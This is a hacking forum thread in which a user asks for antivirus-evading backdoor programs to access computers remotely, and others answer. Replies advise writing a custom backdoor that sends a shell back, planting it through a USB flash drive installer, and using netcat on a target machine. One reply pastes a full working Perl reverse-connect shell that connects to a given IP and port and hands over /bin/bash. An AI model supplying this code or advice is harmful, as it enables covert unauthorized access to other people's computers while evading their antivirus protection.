looking for backdoor programs

7 posts in this topic

hey all, I am trying to get ahold of some backdoor programs that will allow me to access a computer remotely. If there is any programs like this that someone may know of that will work with an antivirus program, that would be great. Thnx

Writing your own backdoor is the best way not to get deteted...

just write something that connects to you (indirectally) and shovels a shell back to you, then drop an installer on a U3 FlashDrive and stick it in the USB drive :) ( look at hak5.org forums it has a VNC version too)

I dont condone what i just said nor does Stank or the DDP :nono:

# PERL reverse connect shell

# intropy [at] caughq [dot] org

# This is in the cau-aimshell just thought id rip it out and give
# it to you in case you want it. Nothing fancy and kinda sloppy.

# Enjoy

####################################################################

use strict;
use Socket;
use IO::Socket;

# Get our IP and Port
my $ip = $ARGV[0] || "10.1.1.33";
my $port = $ARGV[1] || "5100";

# Define our socket
my $domain = PF_INET;
my $type = SOCK_STREAM;
my $proto = getprotobyname('tcp');

# Call socket with handle
socket(SOCKHAND, $domain, $type, $proto) or die "socket:
$!\n";

# Define our connect
my $nip = inet_aton($ip);
my $sockaddr = sockaddr_in($port, $nip);

# Call connect passing handle
connect(SOCKHAND, $sockaddr) or die "connect: $!\n";

open(STDIN, ">&SOCKHAND");
open(STDOUT, ">&SOCKHAND");
open(STDERR, ">&SOCKHAND");


if (my $pid = fork) {
print("[!] Opened process with pid [$pid]\n");
exit(0);
} else {
# Execute our shell
system('/bin/bash') or die "system: $!\n";

close(SOCKHAND);
}

You could also take the easy way out and use netcat.

You can set it to server mode on a the remote machine you are trying to backdoor into, and then connect by using the client mode from your computer... keep in mind though, if you were to do this, it wouldn't take much for someone to see it.

I started to code mine some weeks ago, using windows socket programming. the program is composed of a client and a server; the server waits for commands to be sent and executes them, and the client can connect to it and send commands to it. However, there are plenty of ways to improve it, and it has some bugs in the code (such as the program has to wait for the launched app to close before being able to receive another command).

I posted it on another thread:

You can always take a look at it. I will probably recode that thing using the Win32 API only this time, no system() calls. I borrowed a Win32 API and a UNIX programming book at my school's library to do so, but I have lots of studying to do for exams, so it is progressing slowly.
